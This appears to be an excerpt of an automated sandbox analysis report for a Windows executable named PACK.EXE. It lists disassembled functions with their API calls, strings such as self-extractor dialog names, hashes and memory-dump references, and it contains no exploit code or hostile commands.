Instruction ID: 552e94a4e1ebbb95c7465216bf5844a432ff46821dcbe9a29e9cceca26db65b6
Opcode Fuzzy Hash: a11a03878e8738e8c7c6785c346df9d3647bcc6f7343e3f24f415e35578fce30
Instruction Fuzzy Hash: FA012833A402587ED6325EEA5D45F377B6CEB5AB10F10401AF381B7084C6976C02B7B5

Function 00FFABA6 Relevance: 7.6, APIs: 5, Instructions: 68COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 00FFABAF
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00FFABD2

Part of subcall function 00FF7A8A: RtlAllocateHeap.NTDLL(00000000,?,?,?,00FF2FA6,?,0000015D,?,?,?,?,00FF4482,000000FF,00000000,?,?), ref: 00FF7ABC

WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 00FFABF8
_free.LIBCMT ref: 00FFAC0B
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 00FFAC1A

Memory Dump Source

Source File: 00000010.00000002.2716128477.0000000000FD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000010.00000002.2716022294.0000000000FD0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716176964.0000000001002000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.000000000100D000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001014000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001030000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716361682.0000000001031000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_fd0000_PACK.jbxd

Similarity

API ID: ByteCharEnvironmentMultiStringsWide$AllocateFreeHeap_free
String ID:
API String ID: 336800556-0
Opcode ID: e96985a43343b9cf2544f54135084a8104282f7fc4afdd8cec416197df134772
Instruction ID: 02690800c67ef8eb9bb9554af1b5a4a8b8b091201765d26f369deff4383a66f7
Opcode Fuzzy Hash: e96985a43343b9cf2544f54135084a8104282f7fc4afdd8cec416197df134772
Instruction Fuzzy Hash: 2A0188B2A016197F233217B66C4CD7F796DDEC6B703154119FB08D3255EA65CD01A2B1

Function 00FF859A Relevance: 7.6, APIs: 5, Instructions: 53COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,00FF7ED1,00FF7B6D,?,00FF8544,00000001,00000364,?,00FF2E0F,?,?,010100E0), ref: 00FF859F
_free.LIBCMT ref: 00FF85D4
_free.LIBCMT ref: 00FF85FB
SetLastError.KERNEL32(00000000,?,010100E0), ref: 00FF8608
SetLastError.KERNEL32(00000000,?,010100E0), ref: 00FF8611

Memory Dump Source

Source File: 00000010.00000002.2716128477.0000000000FD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000010.00000002.2716022294.0000000000FD0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716176964.0000000001002000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.000000000100D000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001014000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001030000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716361682.0000000001031000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_fd0000_PACK.jbxd

Similarity

API ID: ErrorLast$_free
String ID:
API String ID: 3170660625-0
Opcode ID: ae1c0ca022ec7cc3b238ab4e3ad93f99f00a24de77060a409a2ecc205e00f276
Instruction ID: 65696c5dc1e732b4a8bc13e0c61870f3de51c789fe5be2fa50492b78c2190409
Opcode Fuzzy Hash: ae1c0ca022ec7cc3b238ab4e3ad93f99f00a24de77060a409a2ecc205e00f276
Instruction Fuzzy Hash: 4E0126776087082BC71273746C89B3B35198FC1BB0B2A0024FB45E2277EE6E8D037224

Function 00FE03C7 Relevance: 7.5, APIs: 5, Instructions: 44COMMON

Download Yara Rule

APIs

Part of subcall function 00FE0697: ResetEvent.KERNEL32(?), ref: 00FE06A9
Part of subcall function 00FE0697: ReleaseSemaphore.KERNEL32(?,00000000,00000000), ref: 00FE06BD

ReleaseSemaphore.KERNEL32(?,00000040,00000000), ref: 00FE03FB
CloseHandle.KERNEL32(?,?), ref: 00FE0415
DeleteCriticalSection.KERNEL32(?), ref: 00FE042E
CloseHandle.KERNEL32(?), ref: 00FE043A
CloseHandle.KERNEL32(?), ref: 00FE0446

Part of subcall function 00FE04BA: WaitForSingleObject.KERNEL32(?,000000FF,00FE05D9,?,?,00FE064E,?,?,?,?,?,00FE0638), ref: 00FE04C0
Part of subcall function 00FE04BA: GetLastError.KERNEL32(?,?,00FE064E,?,?,?,?,?,00FE0638), ref: 00FE04CC

Memory Dump Source

Source File: 00000010.00000002.2716128477.0000000000FD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000010.00000002.2716022294.0000000000FD0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716176964.0000000001002000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.000000000100D000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001014000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001030000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716361682.0000000001031000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_fd0000_PACK.jbxd

Similarity

API ID: CloseHandle$ReleaseSemaphore$CriticalDeleteErrorEventLastObjectResetSectionSingleWait
String ID:
API String ID: 1868215902-0
Opcode ID: 22bd2a9e271b748bbf100f1433dd2cd403baf89314413f9ab1beb2f01f378f15
Instruction ID: 3adb69d5cdafb46dd499922df29db9e39b7f036e1aa9d83328eb541170ba9bb2
Opcode Fuzzy Hash: 22bd2a9e271b748bbf100f1433dd2cd403baf89314413f9ab1beb2f01f378f15
Instruction Fuzzy Hash: 1B01B572400744EBC732DF65DD88FC6BBEAFB44710F004519F19A92195CBBA6994DB90

Function 00FFB461 Relevance: 7.5, APIs: 5, Instructions: 40COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 00FFB479

Part of subcall function 00FF7A50: RtlFreeHeap.NTDLL(00000000,00000000,?,00FFB4F8,?,00000000,?,00000000,?,00FFB51F,?,00000007,?,?,00FFB91C,?), ref: 00FF7A66
Part of subcall function 00FF7A50: GetLastError.KERNEL32(?,?,00FFB4F8,?,00000000,?,00000000,?,00FFB51F,?,00000007,?,?,00FFB91C,?,?), ref: 00FF7A78

_free.LIBCMT ref: 00FFB48B
_free.LIBCMT ref: 00FFB49D
_free.LIBCMT ref: 00FFB4AF
_free.LIBCMT ref: 00FFB4C1

Memory Dump Source

Source File: 00000010.00000002.2716128477.0000000000FD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000010.00000002.2716022294.0000000000FD0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716176964.0000000001002000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.000000000100D000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001014000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001030000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716361682.0000000001031000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_fd0000_PACK.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 99af8e41e9ba5331d4309f25cf120fcf1623b89448bc9bf813abfc632234de8a
Instruction ID: 95159b28d19035a8eff854d45bba4f75fb5913cc06ddd30bbc644566c95dc3c8
Opcode Fuzzy Hash: 99af8e41e9ba5331d4309f25cf120fcf1623b89448bc9bf813abfc632234de8a
Instruction Fuzzy Hash: 15F04432904608A78521FFE4F985C3AB3D9AE00B207654806F28DD7535CB2DFC80A764

Function 00FF75DB Relevance: 7.5, APIs: 5, Instructions: 30COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00FF75F9

Part of subcall function 00FF7A50: RtlFreeHeap.NTDLL(00000000,00000000,?,00FFB4F8,?,00000000,?,00000000,?,00FFB51F,?,00000007,?,?,00FFB91C,?), ref: 00FF7A66
Part of subcall function 00FF7A50: GetLastError.KERNEL32(?,?,00FFB4F8,?,00000000,?,00000000,?,00FFB51F,?,00000007,?,?,00FFB91C,?,?), ref: 00FF7A78

_free.LIBCMT ref: 00FF760B
_free.LIBCMT ref: 00FF761E
_free.LIBCMT ref: 00FF762F
_free.LIBCMT ref: 00FF7640

Memory Dump Source

Source File: 00000010.00000002.2716128477.0000000000FD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000010.00000002.2716022294.0000000000FD0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716176964.0000000001002000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.000000000100D000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001014000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001030000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716361682.0000000001031000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_fd0000_PACK.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 0de06f99480fe3f796b29d05934ac29f0da55df5739464fee3169d9b12c92af3
Instruction ID: b28b1d2cd796838dcbceb2877211b9bf6df8513b7bd2fd64b960488488a7b5ce
Opcode Fuzzy Hash: 0de06f99480fe3f796b29d05934ac29f0da55df5739464fee3169d9b12c92af3
Instruction Fuzzy Hash: 54F030B080671C8BC626BF65BC0142A77A8BB05B207071116F3919667DCB3F1651ABD5

Function 00FFE968 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 186COMMON

Download Yara Rule

Strings

6P+, xrefs: 00FFE970

Memory Dump Source

Source File: 00000010.00000002.2716128477.0000000000FD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000010.00000002.2716022294.0000000000FD0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716176964.0000000001002000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.000000000100D000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001014000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001030000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716361682.0000000001031000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_fd0000_PACK.jbxd

Similarity

API ID:
String ID: 6P+
API String ID: 0-3080146196
Opcode ID: 32415a77fdc2dae908009ab81ecbb9f97b00e467d5594730dfbf479c4ae65bbc
Instruction ID: b8ed9699c1b5fe77e66f87bf3bcf7e15debfe35380f7fc3fea1af603c72b2c32
Opcode Fuzzy Hash: 32415a77fdc2dae908009ab81ecbb9f97b00e467d5594730dfbf479c4ae65bbc
Instruction Fuzzy Hash: 1251B371D0020E9BDB11AFA4CC85FBEBBB8AF45324F140445F711A72B2D6799A01EB61

Function 00FF6C73 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,C:\Users\user\AppData\Local\Temp\PACK.EXE,00000104), ref: 00FF6CB3
_free.LIBCMT ref: 00FF6D7E
_free.LIBCMT ref: 00FF6D88

Strings

C:\Users\user\AppData\Local\Temp\PACK.EXE, xrefs: 00FF6CAA, 00FF6CB1, 00FF6CE0, 00FF6D18

Memory Dump Source

Source File: 00000010.00000002.2716128477.0000000000FD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000010.00000002.2716022294.0000000000FD0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716176964.0000000001002000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.000000000100D000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001014000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001030000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716361682.0000000001031000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_fd0000_PACK.jbxd

Similarity

API ID: _free$FileModuleName
String ID: C:\Users\user\AppData\Local\Temp\PACK.EXE
API String ID: 2506810119-3974614470
Opcode ID: 6ef881dd5a988541c620434992fd975ca408b14392bab1bf8370bbd936f9f1d3
Instruction ID: 206de857d4a0e29f50678d38c891a1f7d17620108b14d289ca9da95ce1a1376f
Opcode Fuzzy Hash: 6ef881dd5a988541c620434992fd975ca408b14392bab1bf8370bbd936f9f1d3
Instruction Fuzzy Hash: 4B316F71A0021CABDB21AF99DC819AEBBFCEF85710F104066FA44D7225DA755E40EB90

Function 00FFE750 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 101fileCOMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,?,?,00000D55,00000000,00000000,00000000,00000000,?,?,00FFEAAF,00000000,00000000,00000000), ref: 00FFE803
WriteFile.KERNEL32(?,?,00000000,?,00000000,?,00FFEAAF,00000000,00000000,00000000,00000000,00000000,00FF3FBF,00000000,00FF3FBF,0100AA70), ref: 00FFE831
GetLastError.KERNEL32(?,00FFEAAF,00000000,00000000,00000000,00000000,00000000,00FF3FBF,00000000,00FF3FBF,0100AA70,00000010,00FFD947,00000000,0100A9E8,00000010), ref: 00FFE862

Strings

6P+, xrefs: 00FFE75F

Memory Dump Source

Source File: 00000010.00000002.2716128477.0000000000FD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000010.00000002.2716022294.0000000000FD0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716176964.0000000001002000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.000000000100D000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001014000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001030000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716361682.0000000001031000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_fd0000_PACK.jbxd

Similarity

API ID: ByteCharErrorFileLastMultiWideWrite
String ID: 6P+
API String ID: 2456169464-3080146196
Opcode ID: e964bce64952029db1f7a6b0b0ba22b2a2c90212f03a4f258f3b63c443d06cef
Instruction ID: 24fece482ae9ed8c05bdfa0e246fdc3bfd1c3f01a6885475975ded74723fe01c
Opcode Fuzzy Hash: e964bce64952029db1f7a6b0b0ba22b2a2c90212f03a4f258f3b63c443d06cef
Instruction Fuzzy Hash: 7D316F75A002199FDB24DF59DC81AFAB7B9EF48354F0444ADEA4AD72A0D730AD80CB60

Function 00FD73B9 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 93COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00FD73BE

Part of subcall function 00FD399D: __EH_prolog.LIBCMT ref: 00FD39A2

GetLastError.KERNEL32(00000052,?,?,?,?,00000800,?,?,?,00000000,00000000), ref: 00FD7485

Part of subcall function 00FD7A15: GetCurrentProcess.KERNEL32(00000020,?), ref: 00FD7A24
Part of subcall function 00FD7A15: GetLastError.KERNEL32 ref: 00FD7A6A
Part of subcall function 00FD7A15: CloseHandle.KERNEL32(?), ref: 00FD7A79

Strings

SeRestorePrivilege, xrefs: 00FD7418
SeSecurityPrivilege, xrefs: 00FD7403

Memory Dump Source

Source File: 00000010.00000002.2716128477.0000000000FD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000010.00000002.2716022294.0000000000FD0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716176964.0000000001002000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.000000000100D000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001014000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001030000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716361682.0000000001031000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_fd0000_PACK.jbxd

Similarity

API ID: ErrorH_prologLast$CloseCurrentHandleProcess
String ID: SeRestorePrivilege$SeSecurityPrivilege
API String ID: 3813983858-639343689
Opcode ID: 0b8cbf28e651be5c398865d80c5ef16e67af015fde997db6b7c0449ab64c6c09
Instruction ID: c5e3a3d8777cd2ac60dce89236105281e72a8f3e810217c7ba71c98a63850ea9
Opcode Fuzzy Hash: 0b8cbf28e651be5c398865d80c5ef16e67af015fde997db6b7c0449ab64c6c09
Instruction Fuzzy Hash: B331C631E04344AADF22FBA4DC41BEE7B7AAB45310F084017F488EB242DB7D4E44A7A1

Function 00FE9B8D Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 72COMMON

Download Yara Rule

APIs

Part of subcall function 00FD12D7: GetDlgItem.USER32(00000000,00003021), ref: 00FD131B
Part of subcall function 00FD12D7: SetWindowTextW.USER32(00000000,010022E4), ref: 00FD1331

EndDialog.USER32(?,00000001), ref: 00FE9C15
GetDlgItemTextW.USER32(?,00000066,?,?), ref: 00FE9C2A
SetDlgItemTextW.USER32(?,00000066,?), ref: 00FE9C3F

Strings

ASKNEXTVOL, xrefs: 00FE9BA5

Memory Dump Source

Source File: 00000010.00000002.2716128477.0000000000FD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000010.00000002.2716022294.0000000000FD0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716176964.0000000001002000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.000000000100D000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001014000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001030000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716361682.0000000001031000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_fd0000_PACK.jbxd

Similarity

API ID: ItemText$DialogWindow
String ID: ASKNEXTVOL
API String ID: 445417207-3402441367
Opcode ID: 4022ba3b9d51b6820245eec5397551d1ae5381f3a90bb336b305d8ce9e833f61
Instruction ID: d641fae7519899bb2b304b3fd5047831cc66e56dce83957cef2e25652212535c
Opcode Fuzzy Hash: 4022ba3b9d51b6820245eec5397551d1ae5381f3a90bb336b305d8ce9e833f61
Instruction Fuzzy Hash: 45112C337081467FD632BFAADD08F7A37B9EB46750F240055F2409B155C7EA9902A735

Function 00FDCE52 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 67COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 00FDCEBD
_strncpy.LIBCMT ref: 00FDCF07

Strings

$%s, xrefs: 00FDCEB2
@%s, xrefs: 00FDCEA7

Memory Dump Source

Source File: 00000010.00000002.2716128477.0000000000FD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000010.00000002.2716022294.0000000000FD0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716176964.0000000001002000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.000000000100D000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001014000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001030000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716361682.0000000001031000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_fd0000_PACK.jbxd

Similarity

API ID: __fprintf_l_strncpy
String ID: $%s$@%s
API String ID: 1857242416-834177443
Opcode ID: 0469aab0f666183f9decffecb1f99abb6ecf6095e940e3d36cdcf325f25a6eac
Instruction ID: f2e2c53e17c5f0f6865c74926d33672454946c9d422480f91e6b553192455d83
Opcode Fuzzy Hash: 0469aab0f666183f9decffecb1f99abb6ecf6095e940e3d36cdcf325f25a6eac
Instruction Fuzzy Hash: 63216FB284030DAEEB21DFA4CC05FEE3BA9AF04710F080527FA54972A1D735D655EBA1

Function 00FEA0B0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 63COMMON

Download Yara Rule

APIs

Part of subcall function 00FD12D7: GetDlgItem.USER32(00000000,00003021), ref: 00FD131B
Part of subcall function 00FD12D7: SetWindowTextW.USER32(00000000,010022E4), ref: 00FD1331

EndDialog.USER32(?,00000001), ref: 00FEA0FE
GetDlgItemTextW.USER32(?,00000066,?,00000080), ref: 00FEA116
SetDlgItemTextW.USER32(?,00000067,?), ref: 00FEA144

Strings

GETPASSWORD1, xrefs: 00FEA0C9

Memory Dump Source

Source File: 00000010.00000002.2716128477.0000000000FD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000010.00000002.2716022294.0000000000FD0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716176964.0000000001002000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.000000000100D000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001014000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001030000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716361682.0000000001031000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_fd0000_PACK.jbxd

Similarity

API ID: ItemText$DialogWindow
String ID: GETPASSWORD1
API String ID: 445417207-3292211884
Opcode ID: 1da16f3611119c8d29dc46c3eccaa1f00c7076a0fd10d3a13b9bb1ed4e29fc69
Instruction ID: 11ed74bd88d314a96376aafeffdd661889e250a0a8e9255ea16fcf4b229ff920
Opcode Fuzzy Hash: 1da16f3611119c8d29dc46c3eccaa1f00c7076a0fd10d3a13b9bb1ed4e29fc69
Instruction Fuzzy Hash: 88110C3290415C76DB229E7A9C49FFB377CEB09710F000015FA85F7180C669A951AB72

Function 00FDB1B7 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 62COMMON

Download Yara Rule

APIs

_swprintf.LIBCMT ref: 00FDB1DE

Part of subcall function 00FD3E41: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00FD3E54

_wcschr.LIBVCRUNTIME ref: 00FDB1FC
_wcschr.LIBVCRUNTIME ref: 00FDB20C

Strings

%c:\, xrefs: 00FDB1D4

Memory Dump Source

Source File: 00000010.00000002.2716128477.0000000000FD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000010.00000002.2716022294.0000000000FD0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716176964.0000000001002000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.000000000100D000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001014000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001030000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716361682.0000000001031000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_fd0000_PACK.jbxd

Similarity

API ID: _wcschr$__vswprintf_c_l_swprintf
String ID: %c:\
API String ID: 525462905-3142399695
Opcode ID: c874dbaa86ff7e85ae2b8cee601b24a1445f2b8d507e21499cbe03ac6e7e4488
Instruction ID: 216a06142800ad8b9967739c28051fc895caddd20b00a76ee051b7a8ab2a5990
Opcode Fuzzy Hash: c874dbaa86ff7e85ae2b8cee601b24a1445f2b8d507e21499cbe03ac6e7e4488
Instruction Fuzzy Hash: EC012653800311A59A217F259C86D3FB7ADEE95771B89440BF944C2292FB34D840E3B1

Function 00FE0326 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 60COMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(00000320,00000000,?,?,?,00FDA865,00000008,00000000,?,?,00FDC802,?,00000000,?,00000001,?), ref: 00FE035F
CreateSemaphoreW.KERNEL32(00000000,00000000,00000040,00000000,?,?,?,00FDA865,00000008,00000000,?,?,00FDC802,?,00000000), ref: 00FE0369
CreateEventW.KERNEL32(00000000,00000001,00000001,00000000,?,?,?,00FDA865,00000008,00000000,?,?,00FDC802,?,00000000), ref: 00FE0379

Strings

Thread pool initialization failed., xrefs: 00FE0391

Memory Dump Source

Source File: 00000010.00000002.2716128477.0000000000FD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000010.00000002.2716022294.0000000000FD0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716176964.0000000001002000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.000000000100D000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001014000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001030000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716361682.0000000001031000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_fd0000_PACK.jbxd

Similarity

API ID: Create$CriticalEventInitializeSectionSemaphore
String ID: Thread pool initialization failed.
API String ID: 3340455307-2182114853
Opcode ID: 3f4a1ff10fc006121535d5b3dea87219b58e077fc9fae8027a9f8684e2b897aa
Instruction ID: 7664b951004fecd9fb1633fa65c27a60df74e91bb44ef8f0981f6b965228d02b
Opcode Fuzzy Hash: 3f4a1ff10fc006121535d5b3dea87219b58e077fc9fae8027a9f8684e2b897aa
Instruction Fuzzy Hash: 9D1182B15007089FD3325F66DCC8AABFBECEB55355F10482EF1DA86201DAB529C0DB60

Function 00FEC96E Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 46COMMON

Download Yara Rule

Strings

RENAMEDLG, xrefs: 00FEC9C9
REPLACEFILEDLG, xrefs: 00FEC9B3, 00FEC9E5

Memory Dump Source

Source File: 00000010.00000002.2716128477.0000000000FD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000010.00000002.2716022294.0000000000FD0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716176964.0000000001002000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.000000000100D000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001014000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001030000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716361682.0000000001031000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_fd0000_PACK.jbxd

Similarity

API ID:
String ID: RENAMEDLG$REPLACEFILEDLG
API String ID: 0-56093855
Opcode ID: 25af27ddb900b3a545b9288407ad81b1b4f0816da3498bdbc7a672e03b77d80c
Instruction ID: 9bc69de48f81ea4d080966dced2347153b26e2b34225d1851138ae181a621191
Opcode Fuzzy Hash: 25af27ddb900b3a545b9288407ad81b1b4f0816da3498bdbc7a672e03b77d80c
Instruction Fuzzy Hash: 5501D8725042C5AFD7229E56ED00E2BBFE9F7447A0F000426F5C5E2215D7BB9C21ABE1

Function 00FF8749 Relevance: 6.3, APIs: 4, Instructions: 305COMMONLIBRARYCODE

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 00FF87D4
__alldvrm.LIBCMT ref: 00FF89D5
__alldvrm.LIBCMT ref: 00FF89F7

Memory Dump Source

Source File: 00000010.00000002.2716128477.0000000000FD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00FD0000, based on PE: true

